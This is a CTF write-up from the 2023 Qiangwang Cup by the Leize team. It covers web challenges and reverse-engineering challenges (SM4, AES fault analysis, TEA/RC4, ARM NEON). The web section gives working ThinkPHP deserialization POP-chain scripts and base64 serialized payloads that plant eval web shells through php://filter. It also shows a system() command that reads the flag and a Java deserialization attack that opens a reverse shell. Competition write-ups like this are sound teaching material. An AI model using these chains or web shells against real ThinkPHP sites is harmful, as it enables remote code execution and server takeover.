强网杯2023-最开心的一集

1702957674563
第一次作为没有什么地位的队长+打工人+weber+毫无体验感的一场比赛,最后成功将自己玩成了一个密码手
20231219115518
下面给出雷泽战队的WP

WEB

happygame

grpc服务,list列举服务,发现反序列化字段,随便打一串上去,发现是java反序列化错误报错,直接盲打,cc1-11,发现cc6的时候,成功拿到反弹shell

./grpcurl -plaintext -d '{"serializeData": ""}' -vv ip:port helloworld.Greeter/ProcessMsg

thinkshop

数据库里面有账号密码,拿出来直接登录,然后反序列化

http://eci-2ze245ak3rvcs9fa77ix.cloudeci1.ichunqiu.com/public/index.php/index/admin/do_edit.html

POST:
data%60%3D%22YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ4eHgiO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7aTowO3M6MTE6IgAqAGJpbmRBdHRyIjthOjE6e2k6MDtzOjM6Inh4eCI7fXM6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo1OntzOjY6ImV4cGlyZSI7aTozNjAwO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtzOjA6IiI7czo0OiJwYXRoIjtzOjEyMjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWFhYVBEOXdhSEFnUUdWMllXd29KRjlRVDFOVVd5ZGpZMk1uWFNrN1B6NGcvLi4vYS5waHAiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czo2OiIAKgB0YWciO3M6MzoieHh4Ijt9fXM6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319fX1zOjY6InBhcmVudCI7cjoxMjt9fX19%22%2F**%2Fwhere%2F**%2F%60id%60%3D1%3B%23=1&id=1&data=1

点击fake_flag

http://eci-2ze245ak3rvcs9fa77ix.cloudeci1.ichunqiu.com/public/a.php12ac95f1498ce51d2d96a249c09c1998.php

POST:
ccc=system('cat /fffflllaaaagggg');

链子

<?php
namespace think\process\pipes {
    class Windows {
        private $files = [];

        public function __construct($files)
        {
            $this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
        }
    }
}

namespace think {
    abstract class Model{
        protected $append = [];
        protected $error = null;
        public $parent;

        function __construct($output, $modelRelation)
        {
            $this->parent = $output;  //$this->parent=> think\console\Output;
            $this->append = array("xxx"=>"getError");     //调用getError 返回this->error
            $this->error = $modelRelation;               // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{
        function __construct($output, $modelRelation)
        {
            parent::__construct($output, $modelRelation);
        }
    }
}

namespace think\model\relation{
    class HasOne extends OneToOne {

    }
}
namespace think\model\relation {
    abstract class OneToOne
    {
        protected $selfRelation;
        protected $bindAttr = [];
        protected $query;
        function __construct($query)
        {
            $this->selfRelation = 0;
            $this->query = $query;    //$query指向Query
            $this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
        }
    }
}

namespace think\db {
    class Query {
        protected $model;

        function __construct($model)
        {
            $this->model = $model; //$this->model=> think\console\Output;
        }
    }
}
namespace think\console{
    class Output{
        private $handle;
        protected $styles;
        function __construct($handle)
        {
            $this->styles = ['getAttr'];
            $this->handle =$handle; //$handle->think\session\driver\Memcached
        }

    }
}
namespace think\session\driver {
    class Memcached
    {
        protected $handler;

        function __construct($handle)
        {
            $this->handler = $handle; //$handle->think\cache\driver\File
        }
    }
}

namespace think\cache\driver {
    class File
    {
        protected $options=null;
        protected $tag;

        function __construct(){
            $this->options=[
                'expire' => 3600, 
                'cache_subdir' => false, 
                'prefix' => '', 
                'path'  => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
                'data_compress' => false,
            ];
            $this->tag = 'xxx';
        }

    }
}

namespace {
    function markdownToArray($markdown)
    {
        $lines = explode(PHP_EOL, $markdown);
        $result = [];
        $current1 = &$result;
        $current2 = null;
        $current3 = null;

        foreach ($lines as $line) {
            if (preg_match('/^# (.*)/', $line, $matches)) {
                $current1 = &$result[$matches[1]];
                $current2 = null;
                $current3 = null;
            } elseif (preg_match('/^## (.*)/', $line, $matches)) {
                $current2 = &$current1[$matches[1]];
                $current3 = null;
            } elseif (preg_match('/^### (.*)/', $line, $matches)) {
                $current3 = &$current2[$matches[1]];
            } else {
                if ($current3 !== null) {
                    $current3[] = $line;
                } elseif ($current2 !== null) {
                    $current2[] = $line;
                } elseif ($current1 !== null) {
                    $current1[] = $line;
                }
            }
        }
        return $result;
    }
    $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
    $Output = new think\console\Output($Memcached);
    $model = new think\db\Query($Output);
    $HasOne = new think\model\relation\HasOne($model);
    $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
    // echo serialize($window);
    echo base64_encode(serialize(array($window)));
}
/*
http://xxxxx/public/?s=/index/index/test&c=序列化后的结果
然后访问
http://xxxxx/public/%3C%3Fcuc%20%40riny(%24_CBFG%5B'pzq'%5D)%3B%3F%3E9eb29dfe314054b3d7d41b9c9b3e938c.php
POST:cmd=phpinfo();
*/

// UPDATE goods SET data = "YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7aTowO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjMwOiJ0aGlua1xtb2RlbFxyZWxhdGlvblxCZWxvbmdzVG8iOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7YjowO3M6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czo5OiIAKgBzdHlsZXMiO2E6MTp7aTowO3M6NzoiZ2V0QXR0ciI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086Mjk6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjI4OiJ0aGlua1xjYWNoZVxkcml2ZXJcTWVtY2FjaGVkIjozOntzOjY6IgAqAHRhZyI7YjoxO3M6MTA6IgAqAG9wdGlvbnMiO2E6Mjp7czo2OiJleHBpcmUiO2k6MDtzOjY6InByZWZpeCI7czoyOToiPD9jdWMgQHJpbnkoJF9DQkZHWydwenEnXSk7Pz4iO31zOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czo2OiIAKgB0YWciO2I6MTtzOjEwOiIAKgBvcHRpb25zIjthOjU6e3M6NjoiZXhwaXJlIjtpOjA7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO3M6MDoiIjtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7czo0OiJwYXRoIjtzOjQzOiJwaHA6Ly9maWx0ZXIvd3JpdGU9c3RyaW5nLnJvdDEzL3Jlc291cmNlPS4vIjt9fX19fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntpOjA7czo2OiJoYWNrZXIiO319czo5OiIAKgBwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjE6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6NjoiACoAdGFnIjtiOjE7czoxMDoiACoAb3B0aW9ucyI7YToyOntzOjY6ImV4cGlyZSI7aTowO3M6NjoicHJlZml4IjtzOjI5OiI8P2N1YyBAcmlueSgkX0NCRkdbJ3B6cSddKTs/PiI7fXM6MTA6IgAqAGhhbmRsZXIiO086MjM6InRoaW5rXGNhY2hlXGRyaXZlclxGaWxlIjoyOntzOjY6IgAqAHRhZyI7YjoxO3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MDtzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDtzOjQ6InBhdGgiO3M6NDM6InBocDovL2ZpbHRlci93cml0ZT1zdHJpbmcucm90MTMvcmVzb3VyY2U9Li8iO319fX19fX19fQ==" WHERE id = 1;

thinkshopping

留一个xdebug调试的配置文件

zend_extension=xdebug.so

[xdebug]                                                                      
xdebug.show_exception_trace=On                 
xdebug.remote_handler=dbgp            
xdebug.remote_autostart=Off                         
xdebug.remote_enable=On                                             
xdebug.mode=debug                        
xdebug.remote_port=9001                                              
xdebug.idekey=PHPSTORM                
xdebug.remote_log=/tmp/xdebug_remote.log                                     
xdebug.remote_connect_back=On         
xdebug.remote_host= host.docker.internal                
xdebug.client_host = host.docker.internal

这个题目大家的做法是,先crlf注入,然后sql注入load_file,但是我们一看memecache中的数据,我们就知道反序列化呀 哥哥们!
给一个我的做法

<?php
namespace think\cache\driver;

class File {
    protected $options = [];
    protected $tag;
    public function __construct() {
        $this->tag = 'xige';
        $this->options = [
            'cache_subdir'  => false,
            'prefix'        => '',
            'path' => 'php://filter/write=string.rot13/resource=static/<?cuc @riny($_TRG[\'n\']); ?>', // 因为 static 目录有写权限
            'data_compress' => false
        ];
    }
}

namespace think\session\driver;
use think\cache\driver\File;

class Memcached {
    protected $handler;
    function __construct() {
        $this->handler=new File();
    }
}

namespace think\console;
use think\session\driver\Memcached;

class Output {
    protected $styles = [];
    private $handle;
    function __construct() {
        $this->styles = ["getAttr", 'info',
            'error',
            'comment',
            'question',
            'highlight',
            'warning'];
        $this->handle = new Memcached();
    }
}

namespace think\db;
use think\console\Output;

class Query {
    protected $model;
    function __construct() {
        $this->model = new Output();
    }
}

namespace think\model\relation;
use think\console\Output;
use think\db\Query;

class HasOne {
    public $model;
    protected $selfRelation;
    protected $parent;
    protected $query;
    protected $bindAttr = [];
    public function __construct() {
        $this->query = new Query("xx", 'think\console\Output');
        $this->model = false;
        $this->selfRelation = false;
        $this->bindAttr = ["xx" => "xx"];
    }}

namespace think\model;
use think\console\Output;
use think\model\relation\HasOne;

abstract class Model {
}

class Pivot extends Model {
    public $parent;
    protected $append = [];
    protected $data = [];
    protected $error;
    protected $model;

    function __construct() {
        $this->parent = new Output();
        $this->error = new HasOne();
        $this->model = "test";
        $this->append = ["test" => "getError"];
        $this->data = ["panrent" => "true"];
    }
}

namespace think\process\pipes;
use think\model\Pivot;

class Windows {
    private $files = [];
    public function __construct() {
        $this->files=[new Pivot()];
    }
}

$obj = new Windows();
$payload = serialize([$obj]);
echo base64_encode($payload);


$m = new \Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));
/* 'object' 这个 key 将在 5 分钟后过期 */
$m->set('think:shop.admin|1', array(new Windows,"password"=>"12345"), time() + 300);


?>

注入的流量自己构造一下就好了~
这里的坑点只有一个:就是数据注入的一定要是array ,不然在密码核对的位置就会报错,程序不正常退出。

Reverse

ezre

sub_2220 搜下常量可以知道是 sm4 加密
20231219120923
查交叉引用找到 sub_3580,找到 key(v15)和 cipher(v14)
20231219120945
解密即可
20231219121012

dotdot

本题第一部分是一道差分故障分析(DFA),原理和大致过程可参考这篇文章,先在倒数第一轮和第二轮列混合操作之间注入故障字节得到1组正确数据和16组缺陷数据,将这些数据传给 phoenixAES 就可以恢复出轮密钥,再将轮密钥传给 Stark 就可以帮我们恢复出正确的初始 AES 密钥即可进行解密。
故障字节注入获得数据:

public static void GGG(byte[] v16)
{
    byte[] array = new byte[16];
    uint[] array2 = new uint[16]
    {
        0u, 5u, 10u, 15u, 4u, 9u, 14u, 3u, 8u, 13u,
        2u, 7u, 12u, 1u, 6u, 11u
    };
    for (int i = 0; i < 16; i++)
    {
        array[i] = v16[array2[i]];
    }
    array.CopyTo(v16, 0);
}

public static void AAA(byte[] aaa, byte[] bbb, int idx)
{
    for (int i = 0; i < 9; i++)
    {
        if (i == 8 && idx >= 0)
            aaa[idx] = 0xAA;

        GGG(aaa);
        for (int j = 0; j < 4; j++)
        {
            uint num = v11[i, 4 * j, aaa[4 * j]];
            uint num2 = v11[i, 4 * j + 1, aaa[4 * j + 1]];
            uint num3 = v11[i, 4 * j + 2, aaa[4 * j + 2]];
            uint num4 = v11[i, 4 * j + 3, aaa[4 * j + 3]];
            uint num5 = v12[i, 24 * j, (num >> 28) & 0xF, (num2 >> 28) & 0xF];
            uint num6 = v12[i, 24 * j + 1, (num3 >> 28) & 0xF, (num4 >> 28) & 0xF];
            uint num7 = v12[i, 24 * j + 2, (num >> 24) & 0xF, (num2 >> 24) & 0xF];
            uint num8 = v12[i, 24 * j + 3, (num3 >> 24) & 0xF, (num4 >> 24) & 0xF];
            aaa[4 * j] = (byte)((v12[i, 24 * j + 4, num5, num6] << 4) | v12[i, 24 * j + 5, num7, num8]);
            num5 = v12[i, 24 * j + 6, (num >> 20) & 0xF, (num2 >> 20) & 0xF];
            num6 = v12[i, 24 * j + 7, (num3 >> 20) & 0xF, (num4 >> 20) & 0xF];
            num7 = v12[i, 24 * j + 8, (num >> 16) & 0xF, (num2 >> 16) & 0xF];
            num8 = v12[i, 24 * j + 9, (num3 >> 16) & 0xF, (num4 >> 16) & 0xF];
            aaa[4 * j + 1] = (byte)((v12[i, 24 * j + 10, num5, num6] << 4) | v12[i, 24 * j + 11, num7, num8]);
            num5 = v12[i, 24 * j + 12, (num >> 12) & 0xF, (num2 >> 12) & 0xF];
            num6 = v12[i, 24 * j + 13, (num3 >> 12) & 0xF, (num4 >> 12) & 0xF];
            num7 = v12[i, 24 * j + 14, (num >> 8) & 0xF, (num2 >> 8) & 0xF];
            num8 = v12[i, 24 * j + 15, (num3 >> 8) & 0xF, (num4 >> 8) & 0xF];
            aaa[4 * j + 2] = (byte)((v12[i, 24 * j + 16, num5, num6] << 4) | v12[i, 24 * j + 17, num7, num8]);
            num5 = v12[i, 24 * j + 18, (num >> 4) & 0xF, (num2 >> 4) & 0xF];
            num6 = v12[i, 24 * j + 19, (num3 >> 4) & 0xF, (num4 >> 4) & 0xF];
            num7 = v12[i, 24 * j + 20, num & 0xF, num2 & 0xF];
            num8 = v12[i, 24 * j + 21, num3 & 0xF, num4 & 0xF];
            aaa[4 * j + 3] = (byte)((v12[i, 24 * j + 22, num5, num6] << 4) | v12[i, 24 * j + 23, num7, num8]);
            num = v13[i, 4 * j, aaa[4 * j]];
            num2 = v13[i, 4 * j + 1, aaa[4 * j + 1]];
            num3 = v13[i, 4 * j + 2, aaa[4 * j + 2]];
            num4 = v13[i, 4 * j + 3, aaa[4 * j + 3]];
            num5 = v12[i, 24 * j, (num >> 28) & 0xF, (num2 >> 28) & 0xF];
            num6 = v12[i, 24 * j + 1, (num3 >> 28) & 0xF, (num4 >> 28) & 0xF];
            num7 = v12[i, 24 * j + 2, (num >> 24) & 0xF, (num2 >> 24) & 0xF];
            num8 = v12[i, 24 * j + 3, (num3 >> 24) & 0xF, (num4 >> 24) & 0xF];
            aaa[4 * j] = (byte)((v12[i, 24 * j + 4, num5, num6] << 4) | v12[i, 24 * j + 5, num7, num8]);
            num5 = v12[i, 24 * j + 6, (num >> 20) & 0xF, (num2 >> 20) & 0xF];
            num6 = v12[i, 24 * j + 7, (num3 >> 20) & 0xF, (num4 >> 20) & 0xF];
            num7 = v12[i, 24 * j + 8, (num >> 16) & 0xF, (num2 >> 16) & 0xF];
            num8 = v12[i, 24 * j + 9, (num3 >> 16) & 0xF, (num4 >> 16) & 0xF];
            aaa[4 * j + 1] = (byte)((v12[i, 24 * j + 10, num5, num6] << 4) | v12[i, 24 * j + 11, num7, num8]);
            num5 = v12[i, 24 * j + 12, (num >> 12) & 0xF, (num2 >> 12) & 0xF];
            num6 = v12[i, 24 * j + 13, (num3 >> 12) & 0xF, (num4 >> 12) & 0xF];
            num7 = v12[i, 24 * j + 14, (num >> 8) & 0xF, (num2 >> 8) & 0xF];
            num8 = v12[i, 24 * j + 15, (num3 >> 8) & 0xF, (num4 >> 8) & 0xF];
            aaa[4 * j + 2] = (byte)((v12[i, 24 * j + 16, num5, num6] << 4) | v12[i, 24 * j + 17, num7, num8]);
            num5 = v12[i, 24 * j + 18, (num >> 4) & 0xF, (num2 >> 4) & 0xF];
            num6 = v12[i, 24 * j + 19, (num3 >> 4) & 0xF, (num4 >> 4) & 0xF];
            num7 = v12[i, 24 * j + 20, num & 0xF, num2 & 0xF];
            num8 = v12[i, 24 * j + 21, num3 & 0xF, num4 & 0xF];
            aaa[4 * j + 3] = (byte)((v12[i, 24 * j + 22, num5, num6] << 4) | v12[i, 24 * j + 23, num7, num8]);
        }
    }
    GGG(aaa);
    for (int k = 0; k < 16; k++)
    {
        aaa[k] = v14[9, k, aaa[k]];
    }
    for (int l = 0; l < 16; l++)
    {
        bbb[l] = aaa[l];
    }
}

static void hexdump(byte[] arr)
{
    Console.WriteLine(BitConverter.ToString(arr).Replace("-", ""));
}

static void Main(string[] args)
{
    byte[] input = new byte[16];
    byte[] result = new byte[16];
    AAA(input, result, -1);
    hexdump(result);

    for (int i = 0; i < 16; i++)
    {
        Array.Clear(input, 0, 16);
        Array.Clear(result, 0, 16);
        AAA(input, result, i);
        hexdump(result);
    }
}

使用 phoenixAES 恢复轮密钥:

import phoenixAES

with open('tracefile', 'wb') as t:
    t.write("""
EB95719A7C696EAABE11F4D47360E913
E895719A7C696E18BE1185D4731CE913
EB9571E47C69F6AABE0CF4D4DC60E913
EB95A19A7C6D6EAAEC11F4D47360E9F1
EBC5719AFD696EAABE11F4897360E013
EB83719AD7696EAABE11F4567360B913
BA95719A7C696E65BE11D9D47342E913
EB95715D7C6912AABEB4F4D48660E913
EB95269A7C7F6EAA7411F4D47360E9D7
EB95689A7CD86EAA7E11F4D47360E982
EB23719A09696EAABE11F42D73603F13
D495719A7C696E2BBE1131D47354E913
EB9571F37C6976AABE55F4D4C560E913
EB9571E77C6938AABE70F4D4A360E913
EB95F69A7C896EAA4411F4D47360E9AD
EB84719AAE696EAABE11F48E73609113
2095719A7C696E25BE1182D47397E913
""".encode('utf8'))

phoenixAES.crack_file('tracefile',verbose=0)

20231219121152
使用 Stark 恢复初始密钥:
20231219121204
根据 K00 得到初始密钥为 QWB2023HappyGame,AES 解密:

from Crypto.Cipher import AES

aes = AES.new(b"QWB2023HappyGame", AES.MODE_ECB)
cipher = [97, 147, 49, 123, 248, 150, 224, 0, 165, 39, 183, 55, 74, 227, 3, 168]
print(aes.decrypt(bytes(cipher)))

得到输入是 WelcomeToQWB2023,输入发现程序还是会触发异常退出,于是对 License.dat进行 rc4解密

from Crypto.Cipher import ARC4

with open("License.dat", 'rb') as f:
    data = f.read()

rc4 = ARC4.new(b"WelcomeToQWB2023")
with open("l.dat", 'wb') as g:
    g.write(rc4.decrypt(data))

调试跟入反序列化过程,发现 FFF 函数的两个参数 a 和 b 在 l.dat 中均为空字符串,结合题意可知要修复该序列化文件
结合 FFF 函数逻辑可知 a 为已经算出的输入,b 可以 TEA 解密得到

public static byte[] v28 = new byte[24]
{
    69, 182, 171, 33, 121, 107, 254, 150, 92, 29,
    4, 178, 138, 166, 184, 106, 53, 241, 42, 191,
    23, 211, 3, 107
};

static void Main(string[] args)
{
    string a = "WelcomeToQWB2023";
    string b = "111111111111111111111";

    string s = b.PadRight((b.Length / 8 + ((b.Length % 8 > 0) ? 1 : 0)) * 8);
    byte[] bytes = new byte[s.Length];
    byte[] bytes2 = Encoding.UTF8.GetBytes(a);
    uint[] array = new uint[4];
    for (int i = 0; i < 4; i++)
    {
            array[i] = BitConverter.ToUInt32(bytes2, i * 4);
    }
    uint delta = 3735928559U;
    int num2 = bytes.Length / 8;

    for (int j = 0; j < num2; j++)
    {
            uint num3 = BitConverter.ToUInt32(v28, j * 8);
            uint num4 = BitConverter.ToUInt32(v28, j * 8 + 4);
            uint num5 = delta * 32;
            for (int k = 0; k < 32; k++)
            {
                    num4 -= ((num3 << 4) + array[2] ^ num3 + num5 ^ (num3 >> 5) + array[3]);
                    num3 -= ((num4 << 4) + array[0] ^ num4 + num5 ^ (num4 >> 5) + array[1]);
                    num5 -= delta;
            }
            Array.Copy(BitConverter.GetBytes(num3), 0, bytes, j * 8, 4);
            Array.Copy(BitConverter.GetBytes(num4), 0, bytes, j * 8 + 4, 4);
    }

    Console.WriteLine(Encoding.Default.GetString(bytes));
}

计算得到 b 为 dotN3t_Is_1nt3r3sting,修复 l.dat`` 其中序列化后的字符串格式为06 + 四字节 id 值 + 1 字节长度 + n 字节字符串内容`
20231219121403
再手动计算 flag

from hashlib import md5

c = [
        59, 65, 108, 110, 223, 90, 245, 226, 6, 122,
        219, 170, 147, 176, 22, 190, 60, 24, 58, 86,
        150, 97, 188, 166, 113, 104, 232, 197, 234, 225,
        22, 183, 40, 78, 102, 116
]

key = md5(open("l.dat", 'rb').read()).digest()

for i in range(len(c)):
    c[i] ^= key[i%len(key)]
print(''.join(map(chr, c)))

uname

一个纯 native 层的题目,native 函数静态注册
没什么好写的,就是调试,读 NEON 指令集汇编
整理出如下的加密及校验逻辑

from pwn import u64

def i2b(v):
    return v.to_bytes(16, "little")

def b2i(r: bytes):
    assert len(r) == 16
    v = 0
    for i in range(15, -1, -1):
        v = (v << 8) + r[i]
    return v

def convert_128_64(v: int):
    r = i2b(v)
    return u64(r[:8]), u64(r[8:])

def convert_64_128(v0: int, v1: int):
    return ((v1 & 0xffffffffffffffff) << 64) + (v0 & 0xffffffffffffffff)

def rol(v, n):
    r = bin(v)[2:].rjust(64, '0')
    return int(r[n%64:] + r[:n%64], 2)

def ror(v, n):
    r = bin(v)[2:].rjust(64, '0')
    return int(r[-(n%64):] + r[:-(n%64)], 2)

input = b"01234567891234569876543210123456"
input_64 = [u64(input[i:i+8]) for i in range(0, len(input), 8)]
input_128 = [b2i(input[i:i+16]) for i in range(0, len(input), 16)]

tbl1_raw = b'oN_Y0U_F\x89{\xa4\xc3\xc5\xe3x\xb3\xc3\x92\x87\xb0\x92\x94\xa4\xd3GREA@7tT0VNd_t#e\xc3\x92\x87\xb0\x92\x94\xa4\xd3\x84\xccGI\x95e\x95\x8efc\x9b\x8c\xaa^\xe93_33Y_S0_\x84\xccGI\x95e\x95\x8e\xbe\x88\xf1\xeb\x10\xce>\x82qN_Y0U_FGREA@7tT\xbe\x88\xf1\xeb\x10\xce>\x82\xd3\xad\xb3\xb0c\x96\xd3\xba3VNd_t#eec\x9b\x8c\xaa^\xe93\xd3\xad\xb3\xb0c\x96\xd3\xbam\xd0Pl\xb4\xa2D\x9fc33Y_S0_oN_Y0U_Fm\xd0Pl\xb4\xa2D\x9f\xb8X\x89\xb8\xc5\xc2\x85\xadLREA@7tT0VNd_t#e\xb8X\x89\xb8\xc5\xc2\x85\xad\xab\xb1\x99\x98sx\xe8\xc8kc\x9b\x8c\xaa^\xe93_33Y_S0_\xab\xb1\x99\x98sx\xe8\xc8\xa2\xdd\x9d\x94\xff\x8c\nnvN_Y0U_FGREA@7tT\xa2\xdd\x9d\x94\xff\x8c\nn\xc8s\xb5\xb8\x96\xc4\xb4\x948VNd_t#eec\x9b\x8c\xaa^\xe93\xc8s\xb5\xb8\x96\xc4\xb4\x94\x94\xb5\xa2\xbb\x92\xb5\x97\xd9h33Y_S0_oN_Y0U_F\x94\xb5\xa2\xbb\x92\xb5\x97\xd9\x9c\xad5a\xb4\x81Q\x99QREA@7tT0VNd_t#e\x9c\xad5a\xb4\x81Q\x99\xa0w\x9b\xa0\xa6\xa6\xc9\xa2pc\x9b\x8c\xaa^\xe93_33Y_S0_\xa0w\x9b\xa0\xa6\xa6\xc9\xa2\xc9\xc2\xef\xe3\xdd\x9f]\xa8{N_Y0U_FGREA@7tT\xc9\xc2\xef\xe3\xdd\x9f]\xa8\xac\xc8aa\x85\x83\x80\x80=VNd_t#eec\x9b\x8c\xaa^\xe93\xac\xc8aa\x85\x83\x80\x80\x89{\xa4\xc3\xc5\xe3x\xb3m33Y_S0_oN_Y0U_F\x89{\xa4\xc3\xc5\xe3x\xb3\xc3\x92\x87\xb0\x92\x94\xa4\xd3VREA@7tT0VNd_t#e\xc3\x92\x87\xb0\x92\x94\xa4\xd3\x84\xccGI\x95e\x95\x8euc\x9b\x8c\xaa^\xe93_33Y_S0_\x84\xccGI\x95e\x95\x8e\xbe\x88\xf1\xeb\x10\xce>\x82\x80N_Y0U_FGREA@7tT\xbe\x88\xf1\xeb\x10\xce>\x82\xd3\xad\xb3\xb0c\x96\xd3\xbaBVNd_t#e'
tbl1_128 = [b2i(tbl1_raw[i:i+16]) for i in range(0, len(tbl1_raw), 16)]
tbl1_64 = [u64(tbl1_raw[i:i+8]) for i in range(0, len(tbl1_raw), 8)]
tbl2 = bytes.fromhex("0E1034391728052519212E0C3A162020")

def run():
    idx = 0
    v0, v1 = input_128[0], input_128[1]
    while True:
        while True:
            x11, x12 = convert_128_64(v0)
            if idx & 3 != 0:
                break

            v2 = tbl1_128[2 * (idx >> 2) + 1]
            v1a, v1b = convert_128_64(v1)
            v2a, v2b = convert_128_64(v2)
            v2 = convert_64_128(v1a + v2a, v1b + v2b)

            x11 = (x11 + tbl1_64[4 * (idx >> 2)]) & 0xffffffffffffffff
            x12 = (x12 + tbl1_64[4 * (idx >> 2) + 1]) & 0xffffffffffffffff
            sum_x11_x12 = (x11 + x12) & 0xffffffffffffffff

            x12 = ror(x12, -tbl2[2 * (idx & 7)]) ^ sum_x11_x12
            x14 = ror(convert_128_64(v2)[1], -tbl2[2 * (idx & 7) + 1]) ^ (sum(convert_128_64(v2)) & 0xffffffffffffffff)

            v0 = sum_x11_x12 + (x14 << 64)
            v1 = (sum(convert_128_64(v2)) & 0xffffffffffffffff) + (x12 << 64)

            idx += 1
            if idx == 72:
                return v0, v1

        x12 = ror(convert_128_64(v0)[1], -tbl2[2 * (idx & 7)]) ^ (sum(convert_128_64(v0)) & 0xffffffffffffffff)
        x14 = ror(convert_128_64(v1)[1], -tbl2[2 * (idx & 7) + 1]) ^ (sum(convert_128_64(v1)) & 0xffffffffffffffff)

        v0 = (sum(convert_128_64(v0)) & 0xffffffffffffffff) + (x14 << 64)
        v1 = (sum(convert_128_64(v1)) & 0xffffffffffffffff) + (x12 << 64)

        idx += 1
        if idx == 72:
            return v0, v1

v0, v1 = run()
# print(hex(v0), hex(v1))
v0a, v0b = convert_128_64(v0)
v1a, v1b = convert_128_64(v1)

assert (v0a + 0x5474374041455247) & 0xffffffffffffffff == 0x6835B4293DD0D39E
assert (v0b - 0x7DC131EF140E7742) & 0xffffffffffffffff == 0xE69C68D3BC875A19
assert (v1a - 0x452C699C4F4C522D) & 0xffffffffffffffff == 0x1B69DAF30AE1351F
assert (v1b + 0x6523745F644E5642) & 0xffffffffffffffff == 0xACA0DA795EF62809

故有解密脚本

from pwn import u64

def i2b(v):
    return v.to_bytes(16, "little")

def b2i(r: bytes):
    assert len(r) == 16
    v = 0
    for i in range(15, -1, -1):
        v = (v << 8) + r[i]
    return v

def convert_128_64(v: int):
    r = i2b(v)
    return u64(r[:8]), u64(r[8:])

def convert_64_128(v0: int, v1: int):
    return ((v1 & 0xffffffffffffffff) << 64) + (v0 & 0xffffffffffffffff)

def rol(v, n):
    r = bin(v)[2:].rjust(64, '0')
    return int(r[n%64:] + r[:n%64], 2)

def ror(v, n):
    r = bin(v)[2:].rjust(64, '0')
    return int(r[-(n%64):] + r[:-(n%64)], 2)

